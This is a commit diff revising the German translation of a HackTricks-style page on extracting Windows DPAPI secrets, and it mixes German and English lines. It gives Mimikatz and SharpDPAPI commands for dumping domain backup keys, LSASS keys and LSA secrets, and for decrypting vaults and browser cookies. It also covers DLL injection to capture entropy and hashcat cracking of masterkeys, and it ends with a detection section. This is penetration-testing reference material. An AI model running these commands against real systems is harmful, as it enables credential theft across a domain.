Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-05 14:49:58 +00:00
parent eac08a3186
commit ffa4b38a95

View File

@ -1,4 +1,4 @@
# DPAPI - Passwörter extrahieren
# DPAPI - Extracting Passwords
{{#include ../../banners/hacktricks-training.md}}
@ -6,33 +6,33 @@
## Was ist DPAPI
Die Data Protection API (DPAPI) wird hauptsächlich im Windows-Betriebssystem für die **symmetrische Verschlüsselung asymmetrischer privater Schlüssel** verwendet, wobei entweder Benutzer- oder Systemgeheimnisse als bedeutende Entropiequelle dienen. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen ermöglicht, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder, bei der Systemverschlüsselung, den Authentifizierungsgeheimnissen der Domäne des Systems abgeleitet wird, wodurch die Notwendigkeit entfällt, dass Entwickler den Schutz des Verschlüsselungsschlüssels selbst verwalten müssen.
Die Data Protection API (DPAPI) wird primär im Windows-Betriebssystem zur **symmetrischen Verschlüsselung asymmetrischer privater Schlüssel** verwendet und nutzt dabei entweder Benutzer- oder Systemgeheimnisse als bedeutende Entropiequelle. Dieser Ansatz vereinfacht die Verschlüsselung für Entwickler, indem er ihnen erlaubt, Daten mit einem Schlüssel zu verschlüsseln, der aus den Anmeldegeheimnissen des Benutzers oder — für Systemverschlüsselung — aus den Domain-Authentifizierungsgeheimnissen des Systems abgeleitet ist. Dadurch müssen Entwickler die Sicherung des Verschlüsselungsschlüssels nicht selbst verwalten.
Die gebräuchlichste Methode zur Verwendung von DPAPI erfolgt über die **`CryptProtectData` und `CryptUnprotectData`** Funktionen, die es Anwendungen ermöglichen, Daten sicher mit der Sitzung des Prozesses zu verschlüsseln und zu entschlüsseln, der derzeit angemeldet ist. Das bedeutet, dass die verschlüsselten Daten nur von demselben Benutzer oder System entschlüsselt werden können, das sie verschlüsselt hat.
Die gebräuchlichste Art, DPAPI zu verwenden, ist über die **`CryptProtectData` und `CryptUnprotectData`**-Funktionen, die Anwendungen erlauben, Daten sicher mit der Session des aktuell angemeldeten Prozesses zu verschlüsseln und zu entschlüsseln. Das bedeutet, dass die verschlüsselten Daten nur vom selben Benutzer oder System entschlüsselt werden können, das sie verschlüsselt hat.
Darüber hinaus akzeptieren diese Funktionen auch einen **`entropy` Parameter**, der ebenfalls während der Verschlüsselung und Entschlüsselung verwendet wird. Daher müssen Sie, um etwas zu entschlüsseln, das mit diesem Parameter verschlüsselt wurde, den gleichen Entropiewert angeben, der während der Verschlüsselung verwendet wurde.
Außerdem akzeptieren diese Funktionen auch einen **`entropy` parameter**, der bei der Verschlüsselung und Entschlüsselung verwendet wird. Um also etwas zu entschlüsseln, das mit diesem Parameter verschlüsselt wurde, muss derselbe Entropiewert angegeben werden, der bei der Verschlüsselung verwendet wurde.
### Schlüsselgenerierung für Benutzer
### Generierung des Benutzerschlüssels
Die DPAPI generiert einen einzigartigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer basierend auf deren Anmeldeinformationen. Dieser Schlüssel wird aus dem Passwort des Benutzers und anderen Faktoren abgeleitet, und der Algorithmus hängt vom Typ des Benutzers ab, endet aber als SHA1. Zum Beispiel hängt es für Domänenbenutzer von dem HTLM-Hash des Benutzers ab.
DPAPI erzeugt einen eindeutigen Schlüssel (genannt **`pre-key`**) für jeden Benutzer basierend auf dessen Anmeldedaten. Dieser Schlüssel wird aus dem Benutzerpasswort und anderen Faktoren abgeleitet; der Algorithmus hängt vom Benutzertyp ab, führt aber letztlich zu einem SHA1-Wert. Zum Beispiel hängt es bei Domain-Benutzern **vom NTLM hash des Benutzers** ab.
Dies ist besonders interessant, da ein Angreifer, der den Passwort-Hash des Benutzers erlangen kann, Folgendes tun kann:
Das ist besonders interessant, weil ein Angreifer, der den Passwort-Hash eines Benutzers erlangt, Folgendes tun kann:
- **Jede Daten entschlüsseln, die mit DPAPI** mit dem Schlüssel dieses Benutzers verschlüsselt wurde, ohne eine API kontaktieren zu müssen
- Versuchen, das **Passwort offline zu knacken**, indem er versucht, den gültigen DPAPI-Schlüssel zu generieren
- **Jegliche Daten entschlüsseln, die mit DPAPI** unter Verwendung dieses Benutzer-Schlüssels verschlüsselt wurden, ohne eine API aufrufen zu müssen
- Versuch, das Passwort offline zu **knacken**, indem er versucht, den gültigen DPAPI-Schlüssel zu generieren
Darüber hinaus wird jedes Mal, wenn ein Benutzer Daten mit DPAPI verschlüsselt, ein neuer **Master-Schlüssel** generiert. Dieser Master-Schlüssel ist derjenige, der tatsächlich zur Verschlüsselung von Daten verwendet wird. Jeder Master-Schlüssel wird mit einer **GUID** (Globally Unique Identifier) versehen, die ihn identifiziert.
Zudem wird jedes Mal, wenn ein Benutzer Daten mit DPAPI verschlüsselt, ein neuer **Master-Key** erzeugt. Dieser Master-Key ist derjenige, der tatsächlich zur Verschlüsselung der Daten verwendet wird. Jeder Master-Key erhält eine **GUID** (Globally Unique Identifier), die ihn identifiziert.
Die Master-Schlüssel werden im **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** Verzeichnis gespeichert, wobei `{SID}` der Sicherheitsbezeichner dieses Benutzers ist. Der Master-Schlüssel wird verschlüsselt mit dem **`pre-key`** des Benutzers und auch mit einem **Domänen-Backup-Schlüssel** zur Wiederherstellung gespeichert (d.h. derselbe Schlüssel wird zweimal mit 2 verschiedenen Passwörtern verschlüsselt gespeichert).
Die Master-Keys werden im Verzeichnis **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gespeichert, wobei `{SID}` der Security Identifier dieses Benutzers ist. Der Master-Key wird verschlüsselt durch den `pre-key` des Benutzers und zusätzlich durch einen **domain backup key** zur Wiederherstellung (d.h. derselbe Schlüssel wird auf zwei verschiedene Arten verschlüsselt und gespeichert).
Beachten Sie, dass der **Domänenschlüssel, der zur Verschlüsselung des Master-Schlüssels verwendet wird, sich auf den Domänencontrollern befindet und sich niemals ändert**, sodass ein Angreifer, der Zugriff auf den Domänencontroller hat, den Domänen-Backup-Schlüssel abrufen und die Master-Schlüssel aller Benutzer in der Domäne entschlüsseln kann.
Beachte, dass der **Domain-Schlüssel, der zur Verschlüsselung des Master-Keys verwendet wird, auf den domain controllers liegt und sich niemals ändert**. Wenn ein Angreifer Zugriff auf den Domain-Controller hat, kann er den Domain-Backup-Key abrufen und die Master-Keys aller Benutzer in der Domain entschlüsseln.
Die verschlüsselten Blobs enthalten die **GUID des Master-Schlüssels**, der zur Verschlüsselung der Daten in seinen Headern verwendet wurde.
Die verschlüsselten Blobs enthalten die **GUID des Master-Keys**, der zur Verschlüsselung der darin enthaltenen Daten verwendet wurde, in ihren Headern.
> [!TIP]
> DPAPI-verschlüsselte Blobs beginnen mit **`01 00 00 00`**
> DPAPI encrypted blobs starts with **`01 00 00 00`**
Master-Schlüssel finden:
Master-Keys finden:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -41,40 +41,41 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Dies ist, wie eine Reihe von Master Keys eines Benutzers aussehen wird:
This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### Maschinen-/Systemschlüsselgenerierung
### Machine/System key generation
Dies ist der Schlüssel, der von der Maschine verwendet wird, um Daten zu verschlüsseln. Er basiert auf dem **DPAPI_SYSTEM LSA-Geheimnis**, das ein spezieller Schlüssel ist, auf den nur der SYSTEM-Benutzer zugreifen kann. Dieser Schlüssel wird verwendet, um Daten zu verschlüsseln, die vom System selbst zugänglich sein müssen, wie z. B. maschinenbezogene Anmeldeinformationen oder systemweite Geheimnisse.
This is key used for the machine to encrypt data. It's based on the **DPAPI_SYSTEM LSA secret**, which is a special key that only the SYSTEM user can access. This key is used to encrypt data that needs to be accessible by the system itself, such as machine-level credentials or system-wide secrets.
Beachten Sie, dass diese Schlüssel **kein Domänen-Backup haben**, sodass sie nur lokal zugänglich sind:
Note that these keys **don't have a domain backup** so they are only accesisble locally:
- **Mimikatz** kann darauf zugreifen, indem es LSA-Geheimnisse mit dem Befehl: `mimikatz lsadump::secrets` dumpet.
- Das Geheimnis wird in der Registrierung gespeichert, sodass ein Administrator **die DACL-Berechtigungen ändern könnte, um darauf zuzugreifen**. Der Registrierungspfad ist: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** can access it dumping LSA secrets using the command: `mimikatz lsadump::secrets`
- The secret is stored inside the registry, so an administrator could **modify the DACL permissions to access it**. The registry path is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Geschützte Daten durch DPAPI
Zu den persönlichen Daten, die durch DPAPI geschützt sind, gehören:
### Protected Data by DPAPI
- Windows-Anmeldeinformationen
- Passwörter und Auto-Vervollständigungsdaten von Internet Explorer und Google Chrome
- E-Mail- und interne FTP-Konto-Passwörter für Anwendungen wie Outlook und Windows Mail
- Passwörter für freigegebene Ordner, Ressourcen, drahtlose Netzwerke und Windows Vault, einschließlich Verschlüsselungsschlüssel
- Passwörter für Remote-Desktop-Verbindungen, .NET Passport und private Schlüssel für verschiedene Verschlüsselungs- und Authentifizierungszwecke
- Netzwerkpasswörter, die vom Credential Manager verwaltet werden, und persönliche Daten in Anwendungen, die CryptProtectData verwenden, wie Skype, MSN Messenger und mehr
- Verschlüsselte Blobs in der Registrierung
Among the personal data protected by DPAPI are:
- Windows creds
- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
- Encrypted blobs inside the register
- ...
Systemgeschützte Daten umfassen:
- Wifi-Passwörter
- Passwörter für geplante Aufgaben
System protected data includes:
- Wifi passwords
- Scheduled task passwords
- ...
### Optionen zur Extraktion des Master-Schlüssels
### Master key extraction options
- Wenn der Benutzer über Domänen-Administratorrechte verfügt, kann er auf den **Domänen-Backup-Schlüssel** zugreifen, um alle Benutzer-Master-Schlüssel in der Domäne zu entschlüsseln:
- If the user has domain admin privileges, they can access the **domain backup key** to decrypt all user master keys in the domain:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -82,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Mit lokalen Administratorrechten ist es möglich, den **LSASS-Speicher** zuzugreifen, um die DPAPI-Master-Schlüssel aller verbundenen Benutzer und den SYSTEM-Schlüssel zu extrahieren.
- Mit lokalen Admin-Rechten ist es möglich, **auf den LSASS memory zuzugreifen**, um die DPAPI master keys aller angemeldeten Benutzer und den SYSTEM key zu extrahieren.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Wenn der Benutzer lokale Administratorrechte hat, kann er auf das **DPAPI_SYSTEM LSA-Geheimnis** zugreifen, um die Maschinen-Master-Schlüssel zu entschlüsseln:
- Wenn der Benutzer local admin privileges hat, kann er auf das **DPAPI_SYSTEM LSA secret** zugreifen, um die machine master keys zu entschlüsseln:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Wenn das Passwort oder der NTLM-Hash des Benutzers bekannt ist, können Sie **die Master-Schlüssel des Benutzers direkt entschlüsseln**:
- Wenn das Passwort oder der NTLM-Hash des Benutzers bekannt ist, können Sie **die master keys des Benutzers direkt entschlüsseln**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -100,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Wenn Sie sich in einer Sitzung als der Benutzer befinden, ist es möglich, den DC nach dem **Backup-Schlüssel zur Entschlüsselung der Master-Schlüssel über RPC** zu fragen. Wenn Sie lokaler Administrator sind und der Benutzer angemeldet ist, könnten Sie **sein Sitzungstoken stehlen** dafür:
- Wenn du dich in einer Sitzung als Benutzer befindest, kannst du den DC per RPC nach dem **Backup-Key zum Entschlüsseln der Master-Keys** fragen. Wenn du local admin bist und der Benutzer eingeloggt ist, könntest du dafür seinen **session token** stehlen:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -108,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## Liste Vault
## Vault auflisten
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -118,23 +119,23 @@ mimikatz vault::list
```
## Zugriff auf DPAPI-verschlüsselte Daten
### Finden Sie DPAPI-verschlüsselte Daten
### DPAPI-verschlüsselte Daten finden
Häufig geschützte **Dateien** von Benutzern befinden sich in:
Häufig geschützte Dateien von Benutzern befinden sich in:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Überprüfen Sie auch, ob Sie `\Roaming\` in den obigen Pfaden durch `\Local\` ersetzen.
- Prüfe auch, ob in den obigen Pfaden `\Roaming\` durch `\Local\` ersetzt wurde.
Beispiele zur Enumeration:
Enumeration examples:
```bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kann DPAPI-verschlüsselte Blobs im Dateisystem, in der Registrierung und in B64-Blobs finden:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) kann DPAPI-verschlüsselte Blobs im Dateisystem, in der Registry und in B64 blobs finden:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -149,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Beachten Sie, dass [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aus demselben Repository) verwendet werden kann, um mit DPAPI sensible Daten wie Cookies zu entschlüsseln.
Beachte, dass [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (aus demselben Repo) verwendet werden kann, um mit DPAPI verschlüsselte sensible Daten wie Cookies zu entschlüsseln.
### Zugriffsschlüssel und Daten
- **Verwenden Sie SharpDPAPI**, um Anmeldeinformationen aus DPAPI-verschlüsselten Dateien der aktuellen Sitzung zu erhalten:
- **Verwende SharpDPAPI**, um Anmeldeinformationen aus mit DPAPI verschlüsselten Dateien der aktuellen Sitzung zu erhalten:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -162,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Holen Sie sich Anmeldeinformationen** wie die verschlüsselten Daten und den guidMasterKey.
- **Anmeldeinformationen abrufen** wie die verschlüsselten Daten und den guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -172,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Zugriff auf Masterkeys**:
- **Access masterkeys**:
Entschlüsseln Sie einen Masterkey eines Benutzers, der den **Domain-Backup-Schlüssel** über RPC anfordert:
Entschlüssle einen masterkey eines Benutzers, der den **domain backup key** anfordert, mittels RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente zur Entschlüsselung des Masterkeys (beachten Sie, dass es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, oder `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben...):
Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente zur Entschlüsselung von Masterkeys (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domain-Backup-Schlüssel zu erhalten, `/password`, um ein Klartext-Passwort zu verwenden, oder `/pvk`, um eine DPAPI-Domain-Private-Key-Datei anzugeben...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -202,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Das **SharpDPAPI**-Tool unterstützt auch diese Argumente für die `credentials|vaults|rdg|keepass|triage|blob|ps`-Entschlüsselung (beachten Sie, wie es möglich ist, `/rpc` zu verwenden, um den Backup-Schlüssel der Domäne zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, `/pvk`, um eine DPAPI-Domänen-Privatschlüsseldatei anzugeben, `/unprotect`, um die Sitzung des aktuellen Benutzers zu verwenden...):
Das Tool **SharpDPAPI** unterstützt außerdem diese Argumente für die Entschlüsselung von `credentials|vaults|rdg|keepass|triage|blob|ps` (beachte, dass es möglich ist, `/rpc` zu verwenden, um den Domain-Backup-Schlüssel zu erhalten, `/password`, um ein Klartextpasswort zu verwenden, `/pvk`, um eine DPAPI domain private key file anzugeben, `/unprotect`, um die aktuelle Benutzersitzung zu verwenden...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -221,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- Entschlüsseln Sie einige Daten mit **der aktuellen Benutzersitzung**:
- Daten mit der **aktuellen Benutzersitzung** entschlüsseln:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -230,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Umgang mit optionaler Entropie ("Drittanbieter-Entropie")
### Umgang mit optionaler Entropie ("Third-party entropy")
Einige Anwendungen übergeben einen zusätzlichen **Entropie**-Wert an `CryptProtectData`. Ohne diesen Wert kann der Blob nicht entschlüsselt werden, selbst wenn der richtige Masterkey bekannt ist. Das Erlangen der Entropie ist daher entscheidend, wenn Anmeldeinformationen, die auf diese Weise geschützt sind, ins Visier genommen werden (z. B. Microsoft Outlook, einige VPN-Clients).
Einige Anwendungen übergeben einen zusätzlichen **Entropie**-Wert an `CryptProtectData`. Ohne diesen Wert kann der Blob nicht entschlüsselt werden, selbst wenn der richtige masterkey bekannt ist. Das Beschaffen der Entropie ist daher essenziell, wenn man auf auf diese Weise geschützte Zugangsdaten abzielt (z. B. Microsoft Outlook, einige VPN-Clients).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine Benutzermodus-DLL, die die DPAPI-Funktionen im Zielprozess hookt und transparent jede optionale Entropie aufzeichnet, die bereitgestellt wird. Das Ausführen von EntropyCapture im **DLL-Injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` gibt eine Datei aus, die jeden Entropie-Puffer dem aufrufenden Prozess und Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) ist eine user-mode DLL, die die DPAPI-Funktionen im Zielprozess hookt und dabei transparent jegliche optionale Entropie aufzeichnet, die übergeben wird. Das Ausführen von EntropyCapture im **DLL-injection**-Modus gegen Prozesse wie `outlook.exe` oder `vpnclient.exe` erzeugt eine Datei, die jeden Entropie-Puffer dem aufrufenden Prozess und dem Blob zuordnet. Die erfasste Entropie kann später an **SharpDPAPI** (`/entropy:`) oder **Mimikatz** (`/entropy:<file>`) übergeben werden, um die Daten zu entschlüsseln.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -242,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
### Masterkeys offline knacken (Hashcat & DPAPISnoop)
Microsoft führte ein **context 3** masterkey-Format mit Windows 10 v1607 (2016) ein. `hashcat` v6.2.6 (Dezember 2023) fügte die Hash-Modi **22100** (DPAPI masterkey v1 context), **22101** (context 1) und **22102** (context 3) hinzu, die GPU-beschleunigtes Knacken von Benutzerpasswörtern direkt aus der masterkey-Datei ermöglichen. Angreifer können daher Wörterbuch- oder Brute-Force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren.
Microsoft führte ab Windows 10 v1607 (2016) ein **context 3** Masterkey-Format ein. `hashcat` v6.2.6 (Dezember 2023) ergänzte die hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) und **22102** (context 3), die GPU-beschleunigtes Knacken von Benutzerpasswörtern direkt aus der Masterkey-Datei ermöglichen. Angreifer können dadurch Wörterbuch- oder Brute-Force-Angriffe durchführen, ohne mit dem Zielsystem zu interagieren.
`DPAPISnoop` (2024) automatisiert den Prozess:
```bash
@ -252,64 +253,64 @@ Microsoft führte ein **context 3** masterkey-Format mit Windows 10 v1607 (2016)
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Das Tool kann auch Credential- und Vault-Blobs parsen, sie mit geknackten Schlüsseln entschlüsseln und Klartext-Passwörter exportieren.
Das Tool kann außerdem Credential and Vault blobs parsen, sie mit cracked keys entschlüsseln und cleartext passwords exportieren.
### Zugriff auf Daten anderer Maschinen
In **SharpDPAPI und SharpChrome** können Sie die **`/server:HOST`**-Option angeben, um auf die Daten einer Remote-Maschine zuzugreifen. Natürlich müssen Sie in der Lage sein, auf diese Maschine zuzugreifen, und im folgenden Beispiel wird angenommen, dass der **Domain-Backup-Verschlüsselungsschlüssel bekannt ist**:
In **SharpDPAPI and SharpChrome** können Sie die Option **`/server:HOST`** angeben, um auf die Daten einer entfernten Maschine zuzugreifen. Natürlich müssen Sie Zugriff auf diese Maschine haben, und im folgenden Beispiel wird angenommen, dass der **Domain-Backup-Verschlüsselungsschlüssel bekannt ist**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
```
## Andere Werkzeuge
## Weitere Tools
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis sowie die Extraktion des Backup-Schlüssels des Domänencontrollers über RPC automatisiert. Das Skript wird dann die IP-Adressen aller Computer auflösen und einen smbclient auf allen Computern ausführen, um alle DPAPI-Blobs aller Benutzer abzurufen und alles mit dem Domänen-Backup-Schlüssel zu entschlüsseln.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) ist ein Tool, das die Extraktion aller Benutzer und Computer aus dem LDAP-Verzeichnis sowie die Extraktion des Domain-Controller-Backup-Schlüssels über RPC automatisiert. Das Skript löst dann die IP-Adressen aller Computer auf und führt einen smbclient auf allen Computern aus, um alle DPAPI-Blobs aller Benutzer abzurufen und alles mit dem Domain-Backup-Schlüssel zu entschlüsseln.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Mit der aus der LDAP-Computerliste extrahierten Liste können Sie jedes Subnetz finden, selbst wenn Sie es nicht kannten!
Mit der aus LDAP extrahierten Computerliste kannst du jedes Subnetz finden, auch wenn du davon nichts wusstest!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kann automatisch durch DPAPI geschützte Geheimnisse dumpen. Die Version 2.x führte ein:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kann automatisch durch DPAPI geschützte Geheimnisse extrahieren. Das 2.x-Release führte ein:
* Parallele Sammlung von Blobs von Hunderten von Hosts
* Parsing von **context 3** Masterkeys und automatische Hashcat-Cracking-Integration
* Parallele Sammlung von Blobs von Hunderten Hosts
* Parsen von **context 3** masterkeys und automatische Hashcat-Cracking-Integration
* Unterstützung für Chrome "App-Bound" verschlüsselte Cookies (siehe nächsten Abschnitt)
* Ein neuer **`--snapshot`** Modus, um Endpunkte wiederholt abzufragen und neu erstellte Blobs zu vergleichen
* Einen neuen **`--snapshot`**-Modus, um Endpunkte wiederholt zu pollen und neu erstellte Blobs zu diffen
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für Masterkey-/Credential-/Vault-Dateien, der Hashcat/JtR-Formate ausgeben und optional das Cracking automatisch auslösen kann. Es unterstützt vollständig Maschinen- und Benutzer-Masterkey-Formate bis Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) ist ein C#-Parser für masterkey/credential/vault-Dateien, der Hashcat-/JtR-Formate ausgeben und optional Cracking automatisch starten kann. Es unterstützt vollständig Machine- und User-Masterkey-Formate bis Windows 11 24H1.
## Häufige Erkennungen
- Zugriff auf Dateien in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` und anderen DPAPI-bezogenen Verzeichnissen.
- Besonders von einem Netzwerkfreigabe wie **C$** oder **ADMIN$**.
- Verwendung von **Mimikatz**, **SharpDPAPI** oder ähnlichen Werkzeugen, um auf den LSASS-Speicher zuzugreifen oder Masterkeys zu dumpen.
- Ereignis **4662**: *Eine Operation wurde an einem Objekt durchgeführt* kann mit dem Zugriff auf das **`BCKUPKEY`**-Objekt korreliert werden.
- Ereignis **4673/4674**, wenn ein Prozess *SeTrustedCredManAccessPrivilege* (Credential Manager) anfordert.
- Besonders von einem Netzwerkshare wie **C$** oder **ADMIN$**.
- Einsatz von **Mimikatz**, **SharpDPAPI** oder ähnlichen Tools, um auf den LSASS-Speicher zuzugreifen oder Masterkeys zu dumpen.
- Ereignis **4662**: *An operation was performed on an object* kann mit dem Zugriff auf das **`BCKUPKEY`**-Objekt korreliert werden.
- Ereignis **4673/4674**, wenn ein Prozess *SeTrustedCredManAccessPrivilege* anfordert (Credential Manager)
---
### 2023-2025 Schwachstellen & Änderungen im Ökosystem
### 20232025 Schwachstellen & Änderungen im Ökosystem
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang könnte ein Domänenmitglied dazu bringen, einen bösartigen DPAPI-Backup-Schlüssel abzurufen, was die Entschlüsselung von Benutzer-Masterkeys ermöglicht. Im November 2023 in einem kumulativen Update gepatcht Administratoren sollten sicherstellen, dass DCs und Arbeitsstationen vollständig gepatcht sind.
* **Chrome 127 “App-Bound” Cookie-Verschlüsselung** (Juli 2024) ersetzte den legacy DPAPI-only Schutz durch einen zusätzlichen Schlüssel, der im **Credential Manager** des Benutzers gespeichert ist. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI-Masterkey als auch den **GCM-umwickelten app-bound key**. SharpChrome v2.3 und DonPAPI 2.x können den zusätzlichen Schlüssel wiederherstellen, wenn sie im Benutzerkontext ausgeführt werden.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang konnte ein Domänenmitglied dazu bringen, einen bösartigen DPAPI-Backup-Schlüssel abzurufen, was die Entschlüsselung von Benutzer-Masterkeys erlaubte. Im kumulativen Update vom November 2023 gepatcht Administratoren sollten sicherstellen, dass DCs und Workstations vollständig gepatcht sind.
* **Chrome 127 “App-Bound” cookie encryption** (Juli 2024) ersetzte den alten nur-DPAPI-Schutz durch einen zusätzlichen Schlüssel, der im Benutzer-**Credential Manager** gespeichert wird. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI-Masterkey als auch den **GCM-wrapped app-bound key**. SharpChrome v2.3 und DonPAPI 2.x sind in der Lage, den zusätzlichen Schlüssel wiederherzustellen, wenn sie im Benutzerkontext ausgeführt werden.
### Fallstudie: Zscaler Client Connector Benutzerdefinierte Entropie, die aus SID abgeleitet ist
